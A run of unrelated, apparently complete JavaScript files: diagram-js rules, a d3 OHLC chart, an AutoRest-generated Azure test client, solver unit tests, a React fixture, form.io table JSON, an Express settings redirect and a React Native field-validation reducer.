import { every, isArray } from 'min-dash'; import { Row, Col } from 'src/model'; import RuleProvider from 'diagram-js/lib/features/rules/RuleProvider'; export default class ModelingRules extends RuleProvider { constructor(eventBus, sheet) { super(eventBus); this._sheet = sheet; } init() { this.addRule([ 'row.add', 'row.move' ], ({ index }) => { const { rows } = this._sheet.getRoot(); return index <= rows.length; }); this.addRule([ 'col.add', 'col.move' ], ({ index }) => { const { cols } = this._sheet.getRoot(); return index <= cols.length; }); this.addRule('paste', ({ elements, target }) => { if (!isArray(elements)) { elements = [ elements ]; } if (target instanceof Row) { return every(elements, element => element instanceof Row); } else if (target instanceof Col) { return every(elements, element => element instanceof Col); } return false; }); } } ModelingRules.$inject = [ 'eventBus', 'sheet' ];
'use strict'; module.exports = function(d3_scale_linear, d3_extent, accessor_ohlc, plot, plotMixin) { // Injected dependencies return function() { // Closure constructor var p = {}, // Container for private, direct access mixed in variables ohlcGenerator, lineWidthGenerator; function ohlc(g) { var group = plot.groupSelect(g, plot.dataMapper.array, p.accessor.d); plot.appendPathsUpDownEqual(group.selection, p.accessor, 'ohlc'); ohlc.refresh(g); } ohlc.refresh = function(g) { g.selectAll('path.ohlc').attr('d', ohlcGenerator).style('stroke-width', lineWidthGenerator); }; function binder() { ohlcGenerator = plot.joinPath(ohlcPath); lineWidthGenerator = plot.lineWidth(p.xScale, 1, 2); } function ohlcPath() { var accessor = p.accessor, x = p.xScale, y = p.yScale, width = p.width(x), r = plot.r; return function(d) { var open = y(accessor.o(d)), close = y(accessor.c(d)), xPoint = x(accessor.d(d)), xValue = xPoint - width/2; return [ 'M', xValue, open, 'l', width/2, 0, 'M', xPoint, y(accessor.h(d)), 'L', xPoint, y(accessor.l(d)), 'M', xPoint, close, 'l', width/2, 0 ].join(' '); }; } // Mixin 'superclass' methods and variables plotMixin(ohlc, p).plot(accessor_ohlc(), binder).width(binder); return ohlc; }; };
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. * Changes may cause incorrect behavior and will be lost if the code is * regenerated. */ 'use strict'; const msRest = require('ms-rest'); const msRestAzure = require('ms-rest-azure'); const WebResource = msRest.WebResource; /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId This should appear as a method parameter, use * value '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} callback - The callback. * * @returns {function} callback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ function _postMethodLocalValid(subscriptionId, options, callback) { /* jshint validthis: true */ let client = this.client; if(!callback && typeof options === 'function') { callback = options; options = null; } if (!callback) { throw new Error('callback cannot be null.'); } // Validate try { if (subscriptionId === null || subscriptionId === undefined || typeof subscriptionId.valueOf() !== 'string') { throw new Error('subscriptionId cannot be null or undefined and it must be of type string.'); } if (this.client.acceptLanguage !== null && this.client.acceptLanguage !== undefined && typeof this.client.acceptLanguage.valueOf() !== 'string') { throw new Error('this.client.acceptLanguage must be of type string.'); } } catch (error) { return callback(error); } // Construct URL let baseUrl = this.client.baseUri; let requestUrl = baseUrl + (baseUrl.endsWith('/') ? '' : '/') + 'azurespecials/subscriptionId/method/string/none/path/local/1234-5678-9012-3456/{subscriptionId}'; requestUrl = requestUrl.replace('{subscriptionId}', encodeURIComponent(subscriptionId)); let queryParameters = []; if (queryParameters.length > 0) { requestUrl += '?' + queryParameters.join('&'); } // Create HTTP transport objects let httpRequest = new WebResource(); httpRequest.method = 'POST'; httpRequest.url = requestUrl; httpRequest.headers = {}; // Set Headers httpRequest.headers['Content-Type'] = 'application/json; charset=utf-8'; if (this.client.generateClientRequestId) { httpRequest.headers['x-ms-client-request-id'] = msRestAzure.generateUuid(); } if (this.client.acceptLanguage !== undefined && this.client.acceptLanguage !== null) { httpRequest.headers['accept-language'] = this.client.acceptLanguage; } if(options) { for(let headerName in options['customHeaders']) { if (options['customHeaders'].hasOwnProperty(headerName)) { httpRequest.headers[headerName] = options['customHeaders'][headerName]; } } } httpRequest.body = null; // Send Request return client.pipeline(httpRequest, (err, response, responseBody) => { if (err) { return callback(err); } let statusCode = response.statusCode; if (statusCode !== 200) { let error = new Error(responseBody); error.statusCode = response.statusCode; error.request = msRest.stripRequest(httpRequest); error.response = msRest.stripResponse(response); if (responseBody === '') responseBody = null; let parsedErrorResponse; try { parsedErrorResponse = JSON.parse(responseBody); if (parsedErrorResponse) { let internalError = null; if (parsedErrorResponse.error) internalError = parsedErrorResponse.error; error.code = internalError ? internalError.code : parsedErrorResponse.code; error.message = internalError ? internalError.message : parsedErrorResponse.message; } if (parsedErrorResponse !== null && parsedErrorResponse !== undefined) { let resultMapper = new client.models['ErrorModel']().mapper(); error.body = client.deserialize(resultMapper, parsedErrorResponse, 'error.body'); } } catch (defaultError) { error.message = `Error "${defaultError.message}" occurred in deserializing the responseBody ` + `- "${responseBody}" for the default response.`; return callback(error); } return callback(error); } // Create Result let result = null; if (responseBody === '') responseBody = null; return callback(null, result, httpRequest, response); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = null, client-side validation should prevent you from making this call * * @param {string} subscriptionId This should appear as a method parameter, use * value null, client-side validation should prvenet the call * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} callback - The callback. * * @returns {function} callback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ function _postMethodLocalNull(subscriptionId, options, callback) { /* jshint validthis: true */ let client = this.client; if(!callback && typeof options === 'function') { callback = options; options = null; } if (!callback) { throw new Error('callback cannot be null.'); } // Validate try { if (subscriptionId === null || subscriptionId === undefined || typeof subscriptionId.valueOf() !== 'string') { throw new Error('subscriptionId cannot be null or undefined and it must be of type string.'); } if (this.client.acceptLanguage !== null && this.client.acceptLanguage !== undefined && typeof this.client.acceptLanguage.valueOf() !== 'string') { throw new Error('this.client.acceptLanguage must be of type string.'); } } catch (error) { return callback(error); } // Construct URL let baseUrl = this.client.baseUri; let requestUrl = baseUrl + (baseUrl.endsWith('/') ? '' : '/') + 'azurespecials/subscriptionId/method/string/none/path/local/null/{subscriptionId}'; requestUrl = requestUrl.replace('{subscriptionId}', encodeURIComponent(subscriptionId)); let queryParameters = []; if (queryParameters.length > 0) { requestUrl += '?' + queryParameters.join('&'); } // Create HTTP transport objects let httpRequest = new WebResource(); httpRequest.method = 'POST'; httpRequest.url = requestUrl; httpRequest.headers = {}; // Set Headers httpRequest.headers['Content-Type'] = 'application/json; charset=utf-8'; if (this.client.generateClientRequestId) { httpRequest.headers['x-ms-client-request-id'] = msRestAzure.generateUuid(); } if (this.client.acceptLanguage !== undefined && this.client.acceptLanguage !== null) { httpRequest.headers['accept-language'] = this.client.acceptLanguage; } if(options) { for(let headerName in options['customHeaders']) { if (options['customHeaders'].hasOwnProperty(headerName)) { httpRequest.headers[headerName] = options['customHeaders'][headerName]; } } } httpRequest.body = null; // Send Request return client.pipeline(httpRequest, (err, response, responseBody) => { if (err) { return callback(err); } let statusCode = response.statusCode; if (statusCode !== 200) { let error = new Error(responseBody); error.statusCode = response.statusCode; error.request = msRest.stripRequest(httpRequest); error.response = msRest.stripResponse(response); if (responseBody === '') responseBody = null; let parsedErrorResponse; try { parsedErrorResponse = JSON.parse(responseBody); if (parsedErrorResponse) { let internalError = null; if (parsedErrorResponse.error) internalError = parsedErrorResponse.error; error.code = internalError ? internalError.code : parsedErrorResponse.code; error.message = internalError ? internalError.message : parsedErrorResponse.message; } if (parsedErrorResponse !== null && parsedErrorResponse !== undefined) { let resultMapper = new client.models['ErrorModel']().mapper(); error.body = client.deserialize(resultMapper, parsedErrorResponse, 'error.body'); } } catch (defaultError) { error.message = `Error "${defaultError.message}" occurred in deserializing the responseBody ` + `- "${responseBody}" for the default response.`; return callback(error); } return callback(error); } // Create Result let result = null; if (responseBody === '') responseBody = null; return callback(null, result, httpRequest, response); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId Should appear as a method parameter -use * value '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} callback - The callback. * * @returns {function} callback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ function _postPathLocalValid(subscriptionId, options, callback) { /* jshint validthis: true */ let client = this.client; if(!callback && typeof options === 'function') { callback = options; options = null; } if (!callback) { throw new Error('callback cannot be null.'); } // Validate try { if (subscriptionId === null || subscriptionId === undefined || typeof subscriptionId.valueOf() !== 'string') { throw new Error('subscriptionId cannot be null or undefined and it must be of type string.'); } if (this.client.acceptLanguage !== null && this.client.acceptLanguage !== undefined && typeof this.client.acceptLanguage.valueOf() !== 'string') { throw new Error('this.client.acceptLanguage must be of type string.'); } } catch (error) { return callback(error); } // Construct URL let baseUrl = this.client.baseUri; let requestUrl = baseUrl + (baseUrl.endsWith('/') ? '' : '/') + 'azurespecials/subscriptionId/path/string/none/path/local/1234-5678-9012-3456/{subscriptionId}'; requestUrl = requestUrl.replace('{subscriptionId}', encodeURIComponent(subscriptionId)); let queryParameters = []; if (queryParameters.length > 0) { requestUrl += '?' + queryParameters.join('&'); } // Create HTTP transport objects let httpRequest = new WebResource(); httpRequest.method = 'POST'; httpRequest.url = requestUrl; httpRequest.headers = {}; // Set Headers httpRequest.headers['Content-Type'] = 'application/json; charset=utf-8'; if (this.client.generateClientRequestId) { httpRequest.headers['x-ms-client-request-id'] = msRestAzure.generateUuid(); } if (this.client.acceptLanguage !== undefined && this.client.acceptLanguage !== null) { httpRequest.headers['accept-language'] = this.client.acceptLanguage; } if(options) { for(let headerName in options['customHeaders']) { if (options['customHeaders'].hasOwnProperty(headerName)) { httpRequest.headers[headerName] = options['customHeaders'][headerName]; } } } httpRequest.body = null; // Send Request return client.pipeline(httpRequest, (err, response, responseBody) => { if (err) { return callback(err); } let statusCode = response.statusCode; if (statusCode !== 200) { let error = new Error(responseBody); error.statusCode = response.statusCode; error.request = msRest.stripRequest(httpRequest); error.response = msRest.stripResponse(response); if (responseBody === '') responseBody = null; let parsedErrorResponse; try { parsedErrorResponse = JSON.parse(responseBody); if (parsedErrorResponse) { let internalError = null; if (parsedErrorResponse.error) internalError = parsedErrorResponse.error; error.code = internalError ? internalError.code : parsedErrorResponse.code; error.message = internalError ? internalError.message : parsedErrorResponse.message; } if (parsedErrorResponse !== null && parsedErrorResponse !== undefined) { let resultMapper = new client.models['ErrorModel']().mapper(); error.body = client.deserialize(resultMapper, parsedErrorResponse, 'error.body'); } } catch (defaultError) { error.message = `Error "${defaultError.message}" occurred in deserializing the responseBody ` + `- "${responseBody}" for the default response.`; return callback(error); } return callback(error); } // Create Result let result = null; if (responseBody === '') responseBody = null; return callback(null, result, httpRequest, response); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId The subscriptionId, which appears in the * path, the value is always '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} callback - The callback. * * @returns {function} callback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ function _postSwaggerLocalValid(subscriptionId, options, callback) { /* jshint validthis: true */ let client = this.client; if(!callback && typeof options === 'function') { callback = options; options = null; } if (!callback) { throw new Error('callback cannot be null.'); } // Validate try { if (subscriptionId === null || subscriptionId === undefined || typeof subscriptionId.valueOf() !== 'string') { throw new Error('subscriptionId cannot be null or undefined and it must be of type string.'); } if (this.client.acceptLanguage !== null && this.client.acceptLanguage !== undefined && typeof this.client.acceptLanguage.valueOf() !== 'string') { throw new Error('this.client.acceptLanguage must be of type string.'); } } catch (error) { return callback(error); } // Construct URL let baseUrl = this.client.baseUri; let requestUrl = baseUrl + (baseUrl.endsWith('/') ? '' : '/') + 'azurespecials/subscriptionId/swagger/string/none/path/local/1234-5678-9012-3456/{subscriptionId}'; requestUrl = requestUrl.replace('{subscriptionId}', encodeURIComponent(subscriptionId)); let queryParameters = []; if (queryParameters.length > 0) { requestUrl += '?' + queryParameters.join('&'); } // Create HTTP transport objects let httpRequest = new WebResource(); httpRequest.method = 'POST'; httpRequest.url = requestUrl; httpRequest.headers = {}; // Set Headers httpRequest.headers['Content-Type'] = 'application/json; charset=utf-8'; if (this.client.generateClientRequestId) { httpRequest.headers['x-ms-client-request-id'] = msRestAzure.generateUuid(); } if (this.client.acceptLanguage !== undefined && this.client.acceptLanguage !== null) { httpRequest.headers['accept-language'] = this.client.acceptLanguage; } if(options) { for(let headerName in options['customHeaders']) { if (options['customHeaders'].hasOwnProperty(headerName)) { httpRequest.headers[headerName] = options['customHeaders'][headerName]; } } } httpRequest.body = null; // Send Request return client.pipeline(httpRequest, (err, response, responseBody) => { if (err) { return callback(err); } let statusCode = response.statusCode; if (statusCode !== 200) { let error = new Error(responseBody); error.statusCode = response.statusCode; error.request = msRest.stripRequest(httpRequest); error.response = msRest.stripResponse(response); if (responseBody === '') responseBody = null; let parsedErrorResponse; try { parsedErrorResponse = JSON.parse(responseBody); if (parsedErrorResponse) { let internalError = null; if (parsedErrorResponse.error) internalError = parsedErrorResponse.error; error.code = internalError ? internalError.code : parsedErrorResponse.code; error.message = internalError ? internalError.message : parsedErrorResponse.message; } if (parsedErrorResponse !== null && parsedErrorResponse !== undefined) { let resultMapper = new client.models['ErrorModel']().mapper(); error.body = client.deserialize(resultMapper, parsedErrorResponse, 'error.body'); } } catch (defaultError) { error.message = `Error "${defaultError.message}" occurred in deserializing the responseBody ` + `- "${responseBody}" for the default response.`; return callback(error); } return callback(error); } // Create Result let result = null; if (responseBody === '') responseBody = null; return callback(null, result, httpRequest, response); }); } /** Class representing a SubscriptionInMethod. */ class SubscriptionInMethod { /** * Create a SubscriptionInMethod. * @param {AutoRestAzureSpecialParametersTestClient} client Reference to the service client. */ constructor(client) { this.client = client; this._postMethodLocalValid = _postMethodLocalValid; this._postMethodLocalNull = _postMethodLocalNull; this._postPathLocalValid = _postPathLocalValid; this._postSwaggerLocalValid = _postSwaggerLocalValid; } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId This should appear as a method parameter, use * value '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @returns {Promise} A promise is returned * * @resolve {HttpOperationResponse<null>} - The deserialized result object. * * @reject {Error} - The error object. */ postMethodLocalValidWithHttpOperationResponse(subscriptionId, options) { let client = this.client; let self = this; return new Promise((resolve, reject) => { self._postMethodLocalValid(subscriptionId, options, (err, result, request, response) => { let httpOperationResponse = new msRest.HttpOperationResponse(request, response); httpOperationResponse.body = result; if (err) { reject(err); } else { resolve(httpOperationResponse); } return; }); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId This should appear as a method parameter, use * value '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} [optionalCallback] - The optional callback. * * @returns {function|Promise} If a callback was passed as the last parameter * then it returns the callback else returns a Promise. * * {Promise} A promise is returned * * @resolve {null} - The deserialized result object. * * @reject {Error} - The error object. * * {function} optionalCallback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ postMethodLocalValid(subscriptionId, options, optionalCallback) { let client = this.client; let self = this; if (!optionalCallback && typeof options === 'function') { optionalCallback = options; options = null; } if (!optionalCallback) { return new Promise((resolve, reject) => { self._postMethodLocalValid(subscriptionId, options, (err, result, request, response) => { if (err) { reject(err); } else { resolve(result); } return; }); }); } else { return self._postMethodLocalValid(subscriptionId, options, optionalCallback); } } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = null, client-side validation should prevent you from making this call * * @param {string} subscriptionId This should appear as a method parameter, use * value null, client-side validation should prvenet the call * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @returns {Promise} A promise is returned * * @resolve {HttpOperationResponse<null>} - The deserialized result object. * * @reject {Error} - The error object. */ postMethodLocalNullWithHttpOperationResponse(subscriptionId, options) { let client = this.client; let self = this; return new Promise((resolve, reject) => { self._postMethodLocalNull(subscriptionId, options, (err, result, request, response) => { let httpOperationResponse = new msRest.HttpOperationResponse(request, response); httpOperationResponse.body = result; if (err) { reject(err); } else { resolve(httpOperationResponse); } return; }); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = null, client-side validation should prevent you from making this call * * @param {string} subscriptionId This should appear as a method parameter, use * value null, client-side validation should prvenet the call * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} [optionalCallback] - The optional callback. * * @returns {function|Promise} If a callback was passed as the last parameter * then it returns the callback else returns a Promise. * * {Promise} A promise is returned * * @resolve {null} - The deserialized result object. * * @reject {Error} - The error object. * * {function} optionalCallback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ postMethodLocalNull(subscriptionId, options, optionalCallback) { let client = this.client; let self = this; if (!optionalCallback && typeof options === 'function') { optionalCallback = options; options = null; } if (!optionalCallback) { return new Promise((resolve, reject) => { self._postMethodLocalNull(subscriptionId, options, (err, result, request, response) => { if (err) { reject(err); } else { resolve(result); } return; }); }); } else { return self._postMethodLocalNull(subscriptionId, options, optionalCallback); } } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId Should appear as a method parameter -use * value '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @returns {Promise} A promise is returned * * @resolve {HttpOperationResponse<null>} - The deserialized result object. * * @reject {Error} - The error object. */ postPathLocalValidWithHttpOperationResponse(subscriptionId, options) { let client = this.client; let self = this; return new Promise((resolve, reject) => { self._postPathLocalValid(subscriptionId, options, (err, result, request, response) => { let httpOperationResponse = new msRest.HttpOperationResponse(request, response); httpOperationResponse.body = result; if (err) { reject(err); } else { resolve(httpOperationResponse); } return; }); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId Should appear as a method parameter -use * value '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} [optionalCallback] - The optional callback. * * @returns {function|Promise} If a callback was passed as the last parameter * then it returns the callback else returns a Promise. * * {Promise} A promise is returned * * @resolve {null} - The deserialized result object. * * @reject {Error} - The error object. * * {function} optionalCallback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ postPathLocalValid(subscriptionId, options, optionalCallback) { let client = this.client; let self = this; if (!optionalCallback && typeof options === 'function') { optionalCallback = options; options = null; } if (!optionalCallback) { return new Promise((resolve, reject) => { self._postPathLocalValid(subscriptionId, options, (err, result, request, response) => { if (err) { reject(err); } else { resolve(result); } return; }); }); } else { return self._postPathLocalValid(subscriptionId, options, optionalCallback); } } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId The subscriptionId, which appears in the * path, the value is always '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @returns {Promise} A promise is returned * * @resolve {HttpOperationResponse<null>} - The deserialized result object. * * @reject {Error} - The error object. */ postSwaggerLocalValidWithHttpOperationResponse(subscriptionId, options) { let client = this.client; let self = this; return new Promise((resolve, reject) => { self._postSwaggerLocalValid(subscriptionId, options, (err, result, request, response) => { let httpOperationResponse = new msRest.HttpOperationResponse(request, response); httpOperationResponse.body = result; if (err) { reject(err); } else { resolve(httpOperationResponse); } return; }); }); } /** * POST method with subscriptionId modeled in the method. pass in subscription * id = '1234-5678-9012-3456' to succeed * * @param {string} subscriptionId The subscriptionId, which appears in the * path, the value is always '1234-5678-9012-3456' * * @param {object} [options] Optional Parameters. * * @param {object} [options.customHeaders] Headers that will be added to the * request * * @param {function} [optionalCallback] - The optional callback. * * @returns {function|Promise} If a callback was passed as the last parameter * then it returns the callback else returns a Promise. * * {Promise} A promise is returned * * @resolve {null} - The deserialized result object. * * @reject {Error} - The error object. * * {function} optionalCallback(err, result, request, response) * * {Error} err - The Error object if an error occurred, null otherwise. * * {null} [result] - The deserialized result object if an error did not occur. * * {object} [request] - The HTTP Request object if an error did not occur. * * {stream} [response] - The HTTP Response stream if an error did not occur. */ postSwaggerLocalValid(subscriptionId, options, optionalCallback) { let client = this.client; let self = this; if (!optionalCallback && typeof options === 'function') { optionalCallback = options; options = null; } if (!optionalCallback) { return new Promise((resolve, reject) => { self._postSwaggerLocalValid(subscriptionId, options, (err, result, request, response) => { if (err) { reject(err); } else { resolve(result); } return; }); }); } else { return self._postSwaggerLocalValid(subscriptionId, options, optionalCallback); } } } module.exports = SubscriptionInMethod;
'use strict'; var chai = require('chai'); var assert = chai.assert; var RandMatGen = require('./util/rand-matrix-gen.js'); var ndarray = require('ndarray'); var assertCloseTo = require('./util/close-to'); var constants = require('./util/constants'); var gemv = require('../gemv'); var trsv = require('../trsv'); describe('TRSV (triangular solve)', function () { var n = 15; var seed; var matGen = new RandMatGen(seed, Float64Array); var B = ndarray(new Float64Array(n * n), [n, n]); var x = ndarray(new Float64Array(n), [n]); var x0 = ndarray(new Float64Array(n), [n]); it('upper-triangular TRSV', function () { for (var t = 0; t < constants.NUM_TESTS; ++t) { seed = matGen.setRandomSeed(36); matGen.makeTriangularMatrix(n, n, false, B); matGen.makeGeneralMatrix(1, n, x); assert(gemv(1, B, x, 0, x0)); assert(trsv(B, x0, false)); // value of x assertCloseTo(x, x0, constants.TEST_TOLERANCE, 'Failure seed value: "' + seed + '".'); } }); it('lower-triangular TRSV', function () { for (var t = 0; t < constants.NUM_TESTS; ++t) { seed = matGen.setRandomSeed(36); matGen.makeTriangularMatrix(n, n, true, B); matGen.makeGeneralMatrix(1, n, x); assert(gemv(1, B, x, 0, x0)); assert(trsv(B, x0, true)); // value of x assertCloseTo(x, x0, constants.TEST_TOLERANCE, 'Failure seed value: "' + seed + '".'); } }); });
var _FormattedMessage; var Foo = React.createClass({ render: function () { return _FormattedMessage || (_FormattedMessage = <FormattedMessage id="someMessage.foo" defaultMessage={"Some text, " + "and some more too. {someValue}"} description="A test message for babel." values={{ someValue: "A value." }} />); } });
version https://git-lfs.github.com/spec/v1 oid sha256:1188ffa129b932a467c9ca9ecb9668cc0b827918be0821cf93350dc8f9f479cb size 42906
export const component = { "conditional": { "eq": "", "when": null, "show": "" }, "tags": [ ], "type": "table", "condensed": false, "hover": false, "bordered": false, "striped": false, "caption": "", "header": [ ], "rows": [ [ { "components": [ { "tags": [ ], "type": "textfield", "conditional": { "eq": "", "when": null, "show": "" }, "validate": { "customPrivate": false, "custom": "", "pattern": "", "maxLength": "", "minLength": "", "required": false }, "persistent": true, "unique": false, "protected": false, "defaultValue": "", "multiple": false, "suffix": "", "prefix": "", "placeholder": "", "key": "a", "label": "a", "inputMask": "", "inputType": "text", "tableView": true, "input": true } ] }, { "components": [ { "tags": [ ], "type": "textfield", "conditional": { "eq": "", "when": null, "show": "" }, "validate": { "customPrivate": false, "custom": "", "pattern": "", "maxLength": "", "minLength": "", "required": false }, "persistent": true, "unique": false, "protected": false, "defaultValue": "", "multiple": false, "suffix": "", "prefix": "", "placeholder": "", "key": "b", "label": "b", "inputMask": "", "inputType": "text", "tableView": true, "input": true } ] }, { "components": [ { "tags": [ ], "type": "textfield", "conditional": { "eq": "", "when": null, "show": "" }, "validate": { "customPrivate": false, "custom": "", "pattern": "", "maxLength": "", "minLength": "", "required": false }, "persistent": true, "unique": false, "protected": false, "defaultValue": "", "multiple": false, "suffix": "", "prefix": "", "placeholder": "", "key": "c", "label": "c", "inputMask": "", "inputType": "text", "tableView": true, "input": true } ] } ], [ { "components": [ { "tags": [ ], "type": "textfield", "conditional": { "eq": "", "when": null, "show": "" }, "validate": { "customPrivate": false, "custom": "", "pattern": "", "maxLength": "", "minLength": "", "required": false }, "persistent": true, "unique": false, "protected": false, "defaultValue": "", "multiple": false, "suffix": "", "prefix": "", "placeholder": "", "key": "d", "label": "d", "inputMask": "", "inputType": "text", "tableView": true, "input": true } ] }, { "components": [ { "tags": [ ], "type": "textfield", "conditional": { "eq": "", "when": null, "show": "" }, "validate": { "customPrivate": false, "custom": "", "pattern": "", "maxLength": "", "minLength": "", "required": false }, "persistent": true, "unique": false, "protected": false, "defaultValue": "", "multiple": false, "suffix": "", "prefix": "", "placeholder": "", "key": "e", "label": "e", "inputMask": "", "inputType": "text", "tableView": true, "input": true } ] }, { "components": [ { "tags": [ ], "type": "textfield", "conditional": { "eq": "", "when": null, "show": "" }, "validate": { "customPrivate": false, "custom": "", "pattern": "", "maxLength": "", "minLength": "", "required": false }, "persistent": true, "unique": false, "protected": false, "defaultValue": "", "multiple": false, "suffix": "", "prefix": "", "placeholder": "", "key": "f", "label": "f", "inputMask": "", "inputType": "text", "tableView": true, "input": true } ] } ] ], "numCols": 3, "numRows": 2, "key": "table1", "input": false };
/** * Module dependencies. */ var express = require('express'); var config = require('lib/config'); /** * Exports Application */ var app = module.exports = express(); function redirect(req, res) { var path = req.params.path || ''; var url = config.settingsUrl + (path ? '/' + path : ''); res.redirect(url); } if (config.settingsUrl) { app.get('/settings', redirect); app.get('/settings/:path', redirect); } app.get('/settings', require('lib/layout')); app.get('/settings/profile', require('lib/layout')); app.get('/settings/password', require('lib/layout')); app.get('/settings/notifications', require('lib/layout')); app.get('/settings/forums', require('lib/layout'));
/** * # fieldValidation.js * * Define the validation rules for various fields such as email, username, * and passwords. If the rules are not passed, the appropriate * message is displayed to the user * */ 'use strict' /** * ## Imports * * validate and underscore * */ import validate from 'validate.js' import _ from 'underscore' /** * ### Translations */ var I18n = require('react-native-i18n') import Translations from '../lib/Translations' I18n.translations = Translations /** * ## Email validation setup * Used for validation of emails */ const emailConstraints = { from: { email: true } } /** * ## username validation rule * read the message.. ;) */ const usernamePattern = /^[a-zA-Z0-9]{6,12}$/ const usernameConstraints = { username: { format: { pattern: usernamePattern, flags: 'i' } } } /** * ## password validation rule * read the message... ;) */ const passwordPattern = /^(?=.*[0-9])(?=.*[!@#$%^&*])[a-zA-Z0-9!@#$%^&*]{6,12}$/ const passwordConstraints = { password: { format: { pattern: passwordPattern, flags: 'i' } } } const passwordAgainConstraints = { confirmPassword: { equality: 'password' } } /** * ## Field Validation * @param {Object} state Redux state * @param {Object} action type & payload */ export default function fieldValidation (state, action) { const {field, value} = action.payload switch (field) { /** * ### username validation * set the form field error */ case ('username'): { let validUsername = _.isUndefined(validate({username: value}, usernameConstraints)) if (validUsername) { return state.setIn(['form', 'fields', 'usernameHasError'], false) .setIn(['form', 'fields', 'usernameErrorMsg'], '') } else { return state.setIn(['form', 'fields', 'usernameHasError'], true) .setIn(['form', 'fields', 'usernameErrorMsg'], I18n.t('FieldValidation.valid_user_name')) } } /** * ### email validation * set the form field error */ case ('email'): { let validEmail = _.isUndefined(validate({from: value}, emailConstraints)) if (validEmail) { return state.setIn(['form', 'fields', 'emailHasError'], false) } else { return state.setIn(['form', 'fields', 'emailHasError'], true) .setIn(['form', 'fields', 'emailErrorMsg'], I18n.t('FieldValidation.valid_email')) } } /** * ### password validation * set the form field error */ case ('password'): { let validPassword = _.isUndefined(validate({password: value}, passwordConstraints)) if (validPassword) { return state.setIn(['form', 'fields', 'passwordHasError'], false) .setIn(['form', 'fields', 'passwordErrorMsg'], '') } else { return state.setIn(['form', 'fields', 'passwordHasError'], true) .setIn(['form', 'fields', 'passwordErrorMsg'], I18n.t('FieldValidation.valid_password')) } } /** * ### passwordAgain validation * set the form field error */ case ('passwordAgain'): var validPasswordAgain = _.isUndefined(validate({password: state.form.fields.password, confirmPassword: value}, passwordAgainConstraints)) if (validPasswordAgain) { return state.setIn(['form', 'fields', 'passwordAgainHasError'], false) .setIn(['form', 'fields', 'passwordAgainErrorMsg'], '') } else { return state.setIn(['form', 'fields', 'passwordAgainHasError'], true) .setIn(['form', 'fields', 'passwordAgainErrorMsg'], I18n.t('FieldValidation.valid_password_again')) } /** * ### showPassword * toggle the display of the password */ case ('showPassword'): return state.setIn(['form', 'fields', 'showPassword'], value) } return state }
